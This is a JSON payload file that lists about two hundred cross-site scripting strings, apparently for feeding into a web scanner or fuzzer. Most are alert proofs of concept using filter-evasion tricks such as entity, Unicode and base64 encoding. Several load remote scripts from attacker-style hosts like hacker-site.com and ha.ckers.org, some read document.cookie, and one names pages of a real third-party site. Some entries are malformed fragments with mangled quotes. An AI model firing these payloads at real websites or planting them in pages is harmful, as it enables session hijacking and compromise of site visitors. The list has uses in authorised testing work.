payload.json

{
    "payload": [
        {
            "payload_name": " <img “””><script>alert(“XSS by \nxss”)</script> "
        },
        {
            "payload_name": " <marquee><h1>XSS by xss</h1></marquee> ‘> "
        },
        {
            "payload_name": " <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=\\' http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS?? http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS?? ‘); alert(‘xss’); var x=’ \\’); alert(\\'xss\\');var x=\\' //–></SCRIPT> "
        },
        {
            "payload_name": " <SCRIPT>alert(String.fromCharCode(88,83,83)); >”> "
        },
        {
            "payload_name": " <ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>  "
        },
        {
            "payload_name": " <img src=”Mario Heiderich says that svg SHOULD not be executed trough image tags” onerror=”javascript:document.write(‘\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e’);”></img> "
        },
        {
            "payload_name": "  <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT> "
        },
        {
            "payload_name": " <SCRIPT> alert(“XSS”); </SCRIPT> "
        },
        {
            "payload_name": "<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>"
        },
        {
            "payload_name": "<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>"
        },
        {
            "payload_name": " <OBJECT TYPE=”text/x-scriptlet” DATA=”http://hacker.com/xss.html”>  "
        },
        {
            "payload_name": " <EMBED SRC=”http://hacker.com/xss.swf” AllowScriptAccess=”always”> "
        },
        {
            "payload_name": " &apos;;alert(String.fromCharCode(88,83,83))//\\&apos;; "
        },
        {
            "payload_name": "<Script>alert('xss')</Script>"
        },
        {
            "payload_name": "<Script>prompt('1')</Script>"
        },
        {
            "payload_name": "<Script>alert('xss found')</Script>"
        },
        {
            "payload_name": "<body oninput=javascript:alert(1)><input autofocus>"
        },
        {
            "payload_name": "<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>"
        },
        {
            "payload_name": "<b <script>alert(1)</script>0"
        },
        {
            "payload_name": "<image src='javascript:alert(1)'>"
        },
        {
            "payload_name": "<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x"
        },
        {
            "payload_name": "<img src=x onerror='alert(1)''>"
        },
        {
            "payload_name": "<a style='-o-link:'javascript:javascript:alert(1)';-o-link-source:current'>X"
        },
        {
            "payload_name": "<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>"
        },
        {
            "payload_name": "<IMG SRC='jav&#x0D;ascript:alert('XSS');'>"
        },
        {
            "payload_name": "perl -e 'print '<IMG SRC=java+script:alert(\"XSS\")>';' > out"
        },
        {
            "payload_name": "<INPUT TYPE='IMAGE' SRC='javascript:alert('XSS');'>"
        },
        {
            "payload_name": " <XSS STYLE='xss:expression(alert('XSS'))'>  "
        },
        {
            "payload_name": "<XSS STYLE='behavior: url(xss.htc);'>"
        },
        {
            "payload_name": "¼script¾alert(¢XSS¢)¼/script¾"
        },
        {
            "payload_name": "<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert('XSS');'>"
        },
        {
            "payload_name": "<META HTTP-EQUIV='refresh' CONTENT='0; URL=http://;URL=javascript:alert('XSS');'>"
        },
        {
            "payload_name": "<TABLE><TD BACKGROUND='javascript:alert('XSS')'>"
        },
        {
            "payload_name": "<BASE HREF='javascript:alert('XSS');//'>"
        },
        {
            "payload_name": "<SCRIPT SRC='http://ha.ckers.org/xss.jpg'></SCRIPT>"
        },
        {
            "payload_name": "<SCRIPT>document.write('<SCRI');</SCRIPT>PT SRC='http://ha.ckers.org/xss.js'></SCRIPT>"
        },
        {
            "payload_name": "<HEAD><META HTTP-EQUIV='CONTENT-TYPE' CONTENT='text/html; charset=UTF-7'> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-"
        },
        {
            "payload_name": "<EMBED SRC='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==' type='image/svg+xml' AllowScriptAccess='always'></EMBED>"
        },
        {
            "payload_name": "<? echo('<SCR)';echo('IPT>alert('XSS')</SCRIPT>'); ?>"
        },
        {
            "payload_name": "<SCRIPT a='>' SRC='http://ha.ckers.org/xss.js'></SCRIPT>"
        },
        {
            "payload_name": "<SCRIPT 'a='>' SRC='http://ha.ckers.org/xss.js'></SCRIPT>"
        },
        {
            "payload_name": "<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>"
        },
        {
            "payload_name": " <input/onmouseover='javaSCRIPT&colon;confirm&lpar;1&rpar;></input>"
        },
        {
            "payload_name": "'';!--'<XSS>=&{()}"
        },
        {
            "payload_name": "'); alert('XSS"
        },
        {
            "payload_name": "<script>alert(1);</script>"
        },
        {
            "payload_name": "<IMG SRC='javascript:alert('XSS');'>"
        },
        {
            "payload_name": "<IMG SRC=javascript:alert('XSS')>"
        },
        {
            "payload_name": "<IMG SRC=javascript:alert('XSS')>"
        },
        {
            "payload_name": "<IMG SRC=javascript:alert(&quot;XSS&quot;)>"
        },
        {
            "payload_name": "<IMG><SCRIPT>alert('XSS')</SCRIPT>'>"
        },
        {
            "payload_name": "<scr<script>ipt>alert('XSS');</scr</script>ipt>"
        },
        {
            "payload_name": "<img src=foo.png onerror=alert(/xssed/) />"
        },
        {
            "payload_name": "<marquee><script>alert('XSS')</script></marquee>"
        },
        {
            "payload_name": "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">"
        },
        {
            "payload_name": "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">"
        },
        {
            "payload_name": "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">"
        },
        {
            "payload_name": "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83)"
        },
        {
            "payload_name": "'><script>alert(0)</script>"
        },
        {
            "payload_name": "<script src=http://yoursite.com/your_files.js></script>"
        },
        {
            "payload_name": "</title><script>alert(/xss/)</script>"
        },
        {
            "payload_name": "</textarea><script>alert(/xss/)</script>"
        },
        {
            "payload_name": "<IMG LOWSRC=\"javascript:alert('XSS')\">"
        },
        {
            "payload_name": "<IMG DYNSRC=\"javascript:alert('XSS')\">"
        },
        {
            "payload_name": "<img src='javascript:alert('XSS')'>"
        },
        {
            "payload_name": "<script language='JavaScript'>alert('XSS')</script>        "
        },
        {
            "payload_name": "<body onunload='javascript:alert('XSS');'>"
        },
        {
            "payload_name": "<body onLoad='alert('XSS');' "
        },
        {
            "payload_name": "[color=red’ onmouseover=”alert(‘xss’)”]mouse over[/color]"
        },
        {
            "payload_name": "window.alert(“Bonjour !”); <div"
        },
        {
            "payload_name": "style=”x:expression((window.r==1)?”:eval(‘r=1;"
        },
        {
            "payload_name": "chr(11)?> onload=alert(‘XSS’)></iframe> “><script"
        },
        {
            "payload_name": "<marquee><h1>XSS</h1></marquee> <META HTTP-"
        },
        {
            "payload_name": "Execute(MsgBox(chr(88)&chr(83)&chr(83)))< “></iframe>"
        },
        {
            "payload_name": "alert(‘XSS’);”> ‘”></title><script>alert(1111)</script>"
        },
        {
            "payload_name": "</textarea>'”><script>alert(document.cookie)</script> ‘””>"
        },
        {
            "payload_name": "<img src=``&NewLine; onerror=alert(1)&NewLine;"
        },
        {
            "payload_name": "<img/src=`` onerror=this.onerror=confirm(1)"
        },
        {
            "payload_name": "<form><isindex formaction='javascript&colon;confirm(1)' "
        },
        {
            "payload_name": "<sVg><scRipt >alert&lpar;1&rpar; {Opera}"
        },
        {
            "payload_name": "<img/src=`` onerror=this.onerror=confirm(1) "
        },
        {
            "payload_name": " <input/onmouseover='javaSCRIPT&colon;confirm&lpar;1&rpar;'  "
        },
        {
            "payload_name": "<iframe src='&Tab;javascript:prompt(1)&Tab;'>"
        },
        {
            "payload_name": "<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'"
        },
        {
            "payload_name": "<IFRAME SRC=# onmouseover='alert(document.cookie)'></IFRAME> "
        },
        {
            "payload_name": "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"
        },
        {
            "payload_name": "<iframe src=http://xss.rocks/scriptlet.html <"
        },
        {
            "payload_name": "'><h1><IFRAME SRC=# onmouseover='alert(document.cookie)'></IFRAME>123</h1>"
        },
        {
            "payload_name": "<IFRAME width='420' height='315' frameborder='0' onload='alert(document.cookie)'></IFRAME>"
        },
        {
            "payload_name": "<IFRAME SRC=# onmouseover='alert(document.cookie)'></IFRAME>"
        },
        {
            "payload_name": "<INPUT TYPE='BUTTON' action='alert('XSS')'/>"
        },
        {
            "payload_name": "<IMG SRC=x onload='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x ontoggle='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onshow='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onwaiting='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onvolumechange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x ontimeupdate='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onsuspend='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onstalled='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onseeking='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onseeked='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<OBJECT CLASSID='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83'><PARAM NAME='DataURL' VALUE='javascript:alert(1)'></OBJECT>"
        },
        {
            "payload_name": "<embed src='data:text/html;base64,%(base64)s'>"
        },
        {
            "payload_name": "<!--<img src='--><img src=x onerror=javascript:alert(1)//'>"
        },
        {
            "payload_name": "<table background='javascript:javascript:alert(1)'>"
        },
        {
            "payload_name": "<frameset onload=javascript:alert(1)>"
        },
        {
            "payload_name": "<math href='javascript:javascript:alert(1)'>CLICKME</math> <math> <maction actiontype='statusline#http://google.com' xlink:href='javascript:javascript:alert(1)'>CLICKME</maction> </math>"
        },
        {
            "payload_name": "<IMG SRC=x onratechange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "%253Cscript%253Ealert('XSS')%253C%252Fscript%253E"
        },
        {
            "payload_name": "<IMG SRC=x onafterprint='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onbeforeunload='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onhashchange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onpaste='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onabort='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x oncanplay='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x oncanplaythrough='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x oncuechange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x ondurationchange='alert(String.fromCharCode(88,83,83))' "
        },
        {
            "payload_name": "<IMG SRC=x onemptied='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onended='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onloadedmetadata='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onloadstart='alert(String.fromCharCode(88,83,83)'>"
        },
        {
            "payload_name": "<IMG SRC=x onprogress='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onratechange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onseeked='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onstalled='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onvolumechange='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow='alert(1)';"
        },
        {
            "payload_name": "<IMG SRC=x onload='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": " ><h1><IFRAME SRC='javascript:alert('XSS');'></IFRAME>'>123</h1>"
        },
        {
            "payload_name": "<IMG SRC=x onkeyup='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onpopstate='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onresize='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onstorage='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onunload='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onblur='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x oncontextmenu='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x oninput='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<IMG SRC=x onreset='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": " <IMG SRC=x onsearch='alert(String.fromCharCode(88,83,83))'> "
        },
        {
            "payload_name": "<IMG SRC=x onsubmit='alert(String.fromCharCode(88,83,83))'> "
        },
        {
            "payload_name": "<IMG SRC=x onkeydown='alert(String.fromCharCode(88,83,83))'>"
        },
        {
            "payload_name": "<script ~~~>alert(0%0)</script ~~~>"
        },
        {
            "payload_name": "<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/"
        },
        {
            "payload_name": "<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN"
        },
        {
            "payload_name": "<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)"
        },
        {
            "payload_name": "&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'"
        },
        {
            "payload_name": "&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}"
        },
        {
            "payload_name": "<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^"
        },
        {
            "payload_name": "<div/style='width:expression(confirm(1))'>X</div> {IE7}"
        },
        {
            "payload_name": " //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ "
        },
        {
            "payload_name": " //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>// "
        },
        {
            "payload_name": " /*iframe/src*/<iframe/src='<iframe/src=@'/onload=prompt(1) /*iframe/src*/> "
        },
        {
            "payload_name": " '</plaintext\\></|\/><plaintext/onmouseover=prompt(1)' "
        },
        {
            "payload_name": "<div onmouseover='alert&lpar;1&rpar;'>DIV</div>"
        },
        {
            "payload_name": "<a href='jAvAsCrIpT&colon;alert&lpar;1&rpar;'>X</a>"
        },
        {
            "payload_name": "<embed src='http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf'>"
        },
        {
            "payload_name": "<object data='http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf'>"
        },
        {
            "payload_name": "<var onmouseover='prompt(1)'>On Mouse Over</var>"
        },
        {
            "payload_name": "<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>"
        },
        {
            "payload_name": " <img src=' =_=' title='onerror='prompt(1)' '> "
        },
        {
            "payload_name": "<%<!--'%><script>alert(1);</script -->"
        },
        {
            "payload_name": "<script src='data:text/javascript,alert(1)'></script>"
        },
        {
            "payload_name": "<iframe/src \/\/onload = prompt(1)"
        },
        {
            "payload_name": "<iframe/onreadystatechange=alert(1)"
        },
        {
            "payload_name": "<svg/onload=alert(1)"
        },
        {
            "payload_name": "<input value=<><iframe/src=javascript:confirm(1)"
        },
        {
            "payload_name": "<input type='text' value=`` <div/onmouseover='alert(1)'>X</div>"
        },
        {
            "payload_name": "<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>"
        },
        {
            "payload_name": "<img src=`xx:xx`onerror=alert(1)>"
        },
        {
            "payload_name": "<object type='text/x-scriptlet' data='http://jsfiddle.net/XLE63/ '></object>"
        },
        {
            "payload_name": "<meta http-equiv='refresh' content='0;javascript&colon;alert(1)'/>"
        },
        {
            "payload_name": " <svg contentScriptType=text/vbs><script>MsgBox+1 "
        },
        {
            "payload_name": " <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> "
        },
        {
            "payload_name": "<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+"
        },
        {
            "payload_name": "<script/src='data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')'></script a=\u0061 & /=%2F"
        },
        {
            "payload_name": "<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>"
        },
        {
            "payload_name": "<script>+-+-1-+-+alert(1)</script>"
        },
        {
            "payload_name": "<body/onload=&lt;!--&gt;&#10alert(1)>"
        },
        {
            "payload_name": "<script itworksinallbrowsers>/*<script* */alert(1)</script"
        },
        {
            "payload_name": "<img src ?itworksonchrome?\/onerror = alert(1)"
        },
        {
            "payload_name": "<svg><script>//&NewLine;confirm(1);</script </svg>"
        },
        {
            "payload_name": "<svg><script onlypossibleinopera:-)> alert(1)"
        },
        {
            "payload_name": " <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe "
        },
        {
            "payload_name": " <script x> alert(1) </script 1=2 "
        },
        {
            "payload_name": " <div/onmouseover='alert(1)'> style='x:'> "
        },
        {
            "payload_name": " <--`<img/src=` onerror=alert(1)> --!> "
        },
        {
            "payload_name": " <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>  "
        },
        {
            "payload_name": " <div style='position:absolute;top:0;left:0;width:100%;height:100%' onmouseover='prompt(1)' onclick='alert(1)'>x</button> "
        },
        {
            "payload_name": " '><img src=x onerror=window.open('https://www.google.com/');>"
        },
        {
            "payload_name": "<form><button formaction=javascript&colon;alert(1)>CLICKME"
        },
        {
            "payload_name": " <math><a xlink:href='//jsfiddle.net/t846h/'>click "
        },
        {
            "payload_name": " <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> "
        },
        {
            "payload_name": " <a href='data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203'>Click Me</a>  "
        },
        {
            "payload_name": " '';!--'<XSS>=&{()} "
        },
        {
            "payload_name": " <script language='JavaScript'>alert('XSS')</script> "
        },
        {
            "payload_name": " “/></a></><img src=1.gif onerror=alert(1)> window.alert(“Bonjour !”); "
        },
        {
            "payload_name": " <div style=”x:expression((window.r==1)?”:eval(‘r=1; alert(String.fromCharCode(88,83,83));’))”> "
        },
        {
            "payload_name": " <iframe<?php echo chr(11)?> onload=alert(‘XSS’)></iframe> “><script "
        },
        {
            "payload_name": " ‘”>><marquee><h1>XSS</h1></marquee>   "
        },
        {
            "payload_name": " <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(‘XSS’);\">  "
        },
        {
            "payload_name": " <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(‘XSS’);\">  "
        },
        {
            "payload_name": " <script>var var = 1; alert(var)</script>   "
        },
        {
            "payload_name": " <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> "
        },
        {
            "payload_name": " <?='<SCRIPT>alert(“XSS”)</SCRIPT>’?> "
        },
        {
            "payload_name": "<IMG SRC=’vbscript:msgbox(\"XSS\")’>  "
        },
        {
            "payload_name": "onfocus=alert(document.domain) '>  "
        },
        {
            "payload_name": " <” <FRAMESET><FRAME SRC=\"javascript:alert(‘XSS’);\"></FRAMESET> "
        },
        {
            "payload_name": " <STYLE>li {list-style-image: url(\"javascript:alert(‘XSS’)\");}</STYLE> "
        },
        {
            "payload_name": " <BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(“XSS”)> "
        },
        {
            "payload_name": "<IMG SRC=java\\0script:alert(\\”XSS\\”)>\\”;"
        },
        {
            "payload_name": "> out <br size=\"&{alert(‘XSS’)}\">"
        },
        {
            "payload_name": " [color=red width=expression(alert(123))]  "
        },
        {
            "payload_name": " [color] <BASE HREF=”javascript:alert(‘XSS’);//”> "
        },
        {
            "payload_name": " Execute(MsgBox(chr(88)&chr(83)&chr(83)))< “></iframe><script>alert(123)</script> "
        },
        {
            "payload_name": " <body onLoad=”while(true) alert(‘XSS’);”> ‘”></title><script>alert(1111)</script> "
        },
        {
            "payload_name": "</textarea>'”><script>alert(document.cookie)</script> ‘””><script"
        },
        {
            "payload_name": "  ‘””><script language=”JavaScript”> alert(‘X \nS \nS’);</script> "
        },
        {
            "payload_name": "  </script></script><<<<script><>>>><<<script>alert(123)</script> "
        },
        {
            "payload_name": "  <html><noalert><noscript>(123)</noscript><script>(123)</script>  "
        },
        {
            "payload_name": " <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> "
        },
        {
            "payload_name": " ‘></select><script>alert(123)</script> "
        },
        {
            "payload_name": "‘>”><script src = ‘http://www.site.com/XSS.js’></script>"
        },
        {
            "payload_name": " <script>a=eval;b=alert;a(b(/XSS/.source));</script> "
        },
        {
            "payload_name": " <SCRIPT>document.write(“XSS”);</SCRIPT> "
        },
        {
            "payload_name": " a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘xss’);”;eval(a+b+c+d); =’><script>alert(“xss”) "
        },
        {
            "payload_name": " </script> <script+src=”>”+src=”http://yoursite.com/xss.js?69,69″></script>  "
        },
        {
            "payload_name": "   <body background=javascript:'”><script>alert(navigator.userAgent)</script>></body> "
        },
        {
            "payload_name": " “>/XaDoS/><script>alert(document.cookie)</script> "
        },
        {
            "payload_name": " <script src=”http://www.site.com/XSS.js”></script> "
        },
        {
            "payload_name": " “>/KinG-InFeT.NeT/><script>alert(document.cookie)</script> src=”http://www.site.com/XSS.js”></script> "
        },
        {
            "payload_name": " data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= !–” /> "
        },
        {
            "payload_name": " <script>alert(‘xss’);</script> "
        },
        {
            "payload_name": " <script>alert(“XSS by \nxss”)</script> "
        },
        {
            "payload_name": " <marquee><h1>XSS by xss</h1></marquee>  "
        },
        {
            "payload_name":"<OBJECT TYPE=”text/x-scriptlet” DATA=”http://hacker.com/xss.html”> "
        }
       
    ]
}